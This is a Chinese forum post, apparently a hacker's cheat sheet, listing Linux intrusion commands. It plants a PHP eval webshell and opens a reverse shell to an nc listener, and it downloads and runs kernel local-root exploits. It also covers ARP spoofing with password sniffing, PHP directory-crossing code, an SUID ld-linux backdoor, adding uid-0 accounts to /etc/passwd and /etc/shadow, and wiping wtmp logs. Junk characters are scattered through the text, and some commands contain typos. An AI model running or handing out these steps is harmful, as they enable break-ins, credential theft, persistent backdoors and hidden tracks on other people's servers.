黑客常用Linux入侵常用命令

[复制链接]
kgd520 发表于 2017-12-31 02:03:49 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题

) p" ?" @4 [) w% v, B写个php一句话后门上去:: j- `+ _3 @7 g- @* V
[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.php
" O! N- r. m! u4 _* O7 H[jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php0 b3 i6 `2 M2 }" {. o% B
1、linux的想着先跨站, i! ~* [. d. \4 m
shell浏览目标站不行,命令行下输入:; Y; U3 t4 E( p3 @
ls -la /www.users/
6 x2 Z0 b  y( D  R1 `. [4 W  b5 ?
2、溢出提权7 m) k& Y8 d9 z6 C$ M$ H
# python –c ‘impotr pty;pty.spawn(“/bin/sh”);6 S' z8 b$ i9 _3 v7 P7 x
来得到交互的Shell,一般的系统都默认安装python3 ~5 m: z" Z0 R3 C
输入id  {; w/ I, i0 I) r$ ]
bash-3.2$ id( _6 q, a$ V6 I0 B
uid=529(zeicom) gid=525(zeicom) groups=525(zeicom)
7 R( |6 @0 ?3 ?9 q6 P/ Nbash-3.2$
1 [# a1 ]: Z- n0 q: v0 B2 r8 j* s这里uid=529(zeicom)还不是root权限,! S( q/ g- q* s) `2 Z
输入uname –r
/ ^- E9 y: J" l% [- ~2 \1 ^3 M返回:2.6.18-164.11.1.el5PAE
5 i, U- I. h) P! ^
Linux提权大致可分为,第三方软件漏洞、本地信任特性、内核溢出8 B; O2 V/ F' ~
找对应的exp, 这里地址整理很齐全可以这里下2 Z+ a; r( g  @6 V. |
http://tools.90sec.org// g% |0 Y/ j/ X7 E' i. q& p$ D
http://sebug.net/paper/linux_exp/
6 ]& a3 t7 b) t/ p1 X, p$ uhttp://x73.cc/bitch/exp/0 r. h1 C. x; V2 U2 B. Y1 c
http://www.exploit-db.com/search/5 ]. F) R* U* w) i1 ~5 c
命令输入pwd,这个命令是显示当前目录,
2 [3 {, w0 c6 X先看能不能编译 gcc -help
" Q+ O7 ?' Q9 ?. Q8 r  i/ d9 _0 I4 \当前目录就是shell的目录,我在shell上传2.c
  U. s* Z" D7 b反弹shell 到外网自己机器的12345端口1 t" J7 q( n1 }( F5 [. v- z3 B
上外网服务器 本地监听 nc -lvvp 123458 D+ ~$ E) ^2 h3 J% G  c8 g
一般都能得到一个apache交互的shell 有时候又不行1 K! L/ t/ D9 t) n' e- u" A
这时候, i. x1 o9 i7 o' ~* |9 e! P
# python -c 'impotr pty;pty.spawn("/bin/sh");'
$ o/ m  L) ^7 Y/ ^- F2 ocd /tmp 进入tmp目录% r. q2 Q# ]- G! g
mkdir Papers 创建一个Papers的目录 Papers不显眼
- j! o2 p3 f% C0 w0 `cd Papers 进入 Papers目录
- T& m' Q; e- Jpwd 查看当前目录
  Z; Q7 N; ^, X然后命令输入
! d3 ^7 q1 h2 \wget 下载exp$ Q* i! X  v- r2 L- a
gcc –o 2 2.c //把2.c编译成可执行文件 g++ keio.cc -o keio, ~$ q: R$ N0 l- ~: a
chmod +x 2 //给2有执行权限4 S& \1 f; |6 I6 O0 M
./2 //执行2, 溢出6 B( u$ ]& V) Y0 C+ R8 v2 y
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet8 H; z% v7 p7 G$ d% J/ R
确定arpsniffer.c需要先装pcap和 libnet。+ u  t/ M7 M! D; L' @: z
rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
/ U4 _" A$ p6 q, O- U0 X3 jwget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
" y2 ]7 ]6 d9 ptar zxvf libpcap-0.8.1.tar.gz
; D0 D6 c9 q4 O8 @, N6 U; h/ Ncd libpcap-0.8.1
' d; i  G7 W$ t1 f4 {./configure
1 A9 Q% Q# L" h0 Imake
4 d; Z' I; Z0 r% W3 l+ j' `$ Omake install6 I' Y1 u1 d0 j6 N4 Z
重新编译arpsniffer.c
, P3 Z  X( T. V! c5 Z, \, Q
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
1 X+ Q0 l1 V. p# I5 M6 l3 O& i
这次没报错,编译成功。
7 j# b$ S' y" o
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254
: f0 h/ @9 y) _
下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)) s# I, \2 o% I) {8 l
./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110% e2 d) t9 {5 [. C* f
在另一个登录里面用tcpdump监听下
3 s/ P& M8 L5 g7 R
tcpdump -i eth0 host 192.168.0.11! _2 D& h% V9 a
发现有数据,把监听的数据存在文件里面:% k& W: `/ @2 t7 o  F' p
tcpdump -i eth0 host 172.16.0.12 -w pop.txt1 B8 \' M' P- G3 T4 w" N, H* x4 S. R
10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。
& R9 C3 D3 G9 X1 f下面我们就可以用linsniffer监听我们想要的用户名和密码了。# t+ S, a2 l9 x, u  @9 |  s9 p
先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:
9 j7 e" q- F3 x' C6 u5 I/ C$ f
if(ntohs(tcp->dest)==21) p=1; /* ftp */
9 y4 u- t  R: t7 E" pif(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/
% C! h# S+ j& L. o) D$ kif(ntohs(tcp->dest)==23) p=1; /* telnet */
% Z0 {4 D* n/ ~( |5 P3 \if(ntohs(tcp->dest)==80) p=1; /* http */) ]* Z) \( f+ M* U
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
4 j6 @, `  s- \1 e$ |# a4 L3 rif(ntohs(tcp->dest)==513) p=1; /* rlogin */
, F9 G, [$ p& H  u/ h9 w  Qif(ntohs(tcp->dest)==106) p=1; /* poppasswd */
& V, q! ^6 I/ i) O3 r[root@bbs111 root]# gcc -o linsniffer linsniffer.c
$ C- U0 Q0 O- H: iIn file included from /usr/include/linux/tcp.h:21,7 F7 `: p0 D& n( g
from linsniffer.c:32:
. C) h3 d6 D3 y' P/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include <endian.h> instead!
/ A$ D$ O+ l6 Y7 S4 B1 X/ @& O7 \/ g
不用管警告,直接运行编译后的linsniffer即可。- m" ~. u6 U1 [3 W
[root@bbs111 root]# ./linsniffer
% v3 j2 O- r* ]# q* @5 |  a
用户名和密码都自动存到了tcp.log下。
1 v% `  S+ m' l" J: f+ ?' _3、利用跨站代码
7 l+ t' y) J, Wlinux不提权跨目录访问的代码
0 u& p6 g% M, s: E% V0 Nlinux权限多设的比较松的其实,但有的虚拟机还是不能跨目录访问的。7 t- _7 D0 x7 N, P1 E
在提不了权的情况下,试试如下代码吧。运气好的话说不定就跨过去了。
' ^  l" U& U9 I/ L$ e% K代码如下:% P* N3 [; e" T/ r0 u9 r3 ]# T1 J
$path = stripslashes($_GET['path']);) r$ o& x$ x; y5 M/ j+ C% a
$ok = chmod ($path , 0777);
6 r3 E1 r+ K' X# Y1 Hif ($ok == true)
) M" z' a5 L* L& H) I8 i" [echo CHMOD OK , Permission editable file or directory. Permission to write;: U4 H& O5 `+ e; A* Z
?>
" L. M8 M5 U/ ~) N% o; k: [- s9 r
把上面代码保存为tmdsb.PHP2 a+ z" l# A# ^- D" R# K; |+ ~( m4 P- J
然后访问http://www.tmdsb.com/tmdsb.php?path=../../要跨的目录/index.php  _" K2 Q, U; L: t
这里的index.PHP是要修改权限的文件。
* c. h2 w' s$ `收集的另一个exp:7 N& _! x$ {9 p% H5 J
把下面的代码保存为exp.PHP
1 {4 Y' b5 Q0 j/ E( r2 [4 w  y代码:8 F- d: H5 Q  K1 D, }
@$filename = stripslashes($_POST['filename']);. b. G+ c) E; s+ l0 Q  _( s8 O- ?
@$mess = stripslashes($_POST['mess']);4 D- M% N; P4 [3 [' ^! X
$fp = @fopen({$_POST['filename']}, 'a');
0 R0 H( T+ Z) _% Q1 E@fputs($fp,$mess
2 {8 O/ J% Y2 M);6 J/ j8 }5 h6 c& J0 O/ i1 ^. B
@fclose($fp);4 F4 o5 y* L4 Y- I. w/ F$ F
?># r" R+ j- ^* \8 w. w; K! y$ [+ \
4.2.618最终Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)这个0day溢出成功5 @2 T  }0 y, c, W6 t
udev提权
% q7 \7 N, s% r; V  L. O: p8 j, ?换了个udev提权,适用于内核范围为2.6.*。9 w" i+ I; k% y' g3 r
还是上传文件至服务器shell所在目录,执行命令ls,发现文件已经躺在那里面了,之后赋予exp执行权限。7 X7 L9 Q* o; d2 H; o; m
chmod +x pwnkernel.c
0 l- M' S. {# echmod +x wunderbar_emporium.sh: I8 H3 ]: J# c
chmod +x exploit.c& s% x( w- g- c- Z' g' j2 u* J# E
之后执行溢出./w*+ R% M+ z' C. j6 |# i
成功溢出,root权限。, j/ k# \: J% W  N7 D/ L/ G! K1 H" p5 @
之后就是留下一个后门~ 添加一个root权限用户俺也不介意。。。(useradd -u 0 -o "username")
7 B3 x* ]( m4 [* _依次输入命令
  i0 Y# w5 p. Y( r/ ]
cd /tmp, c( G: k4 R5 f' f: i! u6 ^* H; D
sh-3.1# ls /lib/ld-linux*( i8 {- }; `: n% \
/lib/ld-linux.so.2
/ i2 R2 R( X; }8 a) Z" O3 tsh-3.1# cp /lib/ld-linux.so.2 /tmp/.str1ven9 N6 ~8 P7 |0 U9 G# W0 B7 V
sh-3.1# ls -l .str1ven, @# x; V' x8 d5 I& a7 g
-rwxr-xr-x 1 root root 121684 07-08 21:13 .str1ven
; I) p, B7 X% `* Bsh-3.1# chmod +s .str1ven
9 J4 Z* p4 }; u, ysh-3.1# ls -l .str1ven5 Y( j! q2 V# @
-rwsr-sr-x 1 root root 121684 07-08 21:13 .str1ven/ R: t% B3 |$ M  O4 Y* X% U  [
成功建立一个后门,退出root,执行./.str1ven `which whoami`,又成功获取root权限~~
9 d1 ]  u2 H  L* Jcat /etc/passwd 查看linux用户
9 S0 V& t- k1 K: w5 _" q% I: R! J, kcat /etc/shadow 查看用户密码需要root权限
1 |7 M  Q4 F9 K& S6 Ecat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息
5 E4 M) O, }; `8 ?1 Bifconfig 查看本机ip信息
2 S) H* M& j3 n3 ]) Q. Pcat /etc/resolv.conf 查看DNS信息
% w/ }* Q0 E3 i" F+ B3 Y2 Ubash -i 在反弹的shell中使用可以直观显示命令* u& j+ |9 p( ~+ _. ^( @; k
bash prompt: 当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以0 o( [) A2 E/ _) ?
Root登陆时,你的prompt会变成bash#。
) E! A' x; {1 g+ n# s7 }系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。' b4 K$ r# t. U$ N
echo 1>/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1>/proc/sys/net/ipv4/ip_forward,. p8 i: M; p4 G. F8 S
vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!# f+ x7 H7 T4 d. `: X9 l" j6 G) @
netstat -an |grep LISTEN |grep :80 查看端口
7 z3 g& ?8 W; l/ a0 s; y" H6 bservice --status-all | grep running- w/ I: W$ ]$ e+ s+ ~6 Q
service --status-all | grep http
+ q0 m+ ?; c, J8 q6 S查看运行服务
' O9 y, w0 i4 C5 n( Clsb_release -a 查看系统版本
, ~) o8 `# T2 ^' h- z3 U重启ssh服务 :  s8 U$ ~/ \# c
/usr/sbin/sshd stop/: U% }% c- P* X1 Q0 i. l6 x
usr/sbin/sshd start
8 _- T, O) [) I4 ^ssd_config文件里! _6 [0 z" J! v) Q9 F
PasswordAuthentication no,, }' j# o4 m) L! a) S- |4 w+ x2 m
将其改为
& Y- E  Z$ A9 u* p) l- \PasswordAuthentication yes
  Z7 U- }8 h6 }" y# J远程ssh才可登录
9 f+ P3 O& a! `7 X! R( ]7 A* M否则显示Access denied/ f; o  _# D9 W6 c7 ^( ]9 R, u$ n
其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.
. B$ ^& G) g/ y: v( b9 W+ [; Xsu的菜鸟用法- S  Z; W* ]+ E" k9 u: Y6 z
先chomod 777 /etc/passwd$ f3 F2 U! k4 i# K2 `) e
然后修改bin用户的gid和uid为0
/ d+ `& k6 p/ B; ^1 b4 t然后passwd设置bin的密码  J8 {& }( p) e# z1 ], d8 j
然后cp /bin/bash /sbin/nologin1 P% J( P* Z, o! ]3 B
然后su的时候su - bin就可以到rootshell了。
$ ?6 c: t" |1 H1 N# D这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码的一种很菜鸟的做法。3 U% O, ^& B: y, `7 ~! T( h
还可以这样- R9 }6 l8 ~* T# b
sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd) D8 l9 a# o4 q. L
gcc prtcl2.c –o local –static –Wall
4 |, D, o- r5 e  Hecho "nosec:x:0:0::/:/bin/sh" >> /etc/passwd
1 d# H1 Y- D5 o! h8 necho "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
3 q9 D' |! N: _/ M' \: }% I7 Z
清空last记录 cp /dev/null /var/log/wtmp3 q  S' n7 D& S3 X1 m- i
-----
* O* j. T' s$ q5 i. F3 tdd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的3 P% {$ B* M& E: D* w
/etc/init.d/ssh start 开22端口
# F6 ]( S6 c4 N, w9 x1 i7 U/etc/ssh/sshd_config SSH服务配置文件

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

发布主题
推荐阅读更多+
阅读排行更多+
用心服务创业者
0851-88611148
周一至周五 9:00-18:00
意见反馈:admin@0851life.com

扫一扫关注我们

Powered by 童码少儿编程 X3.4© 2001-2013 0851life Inc.|网站地图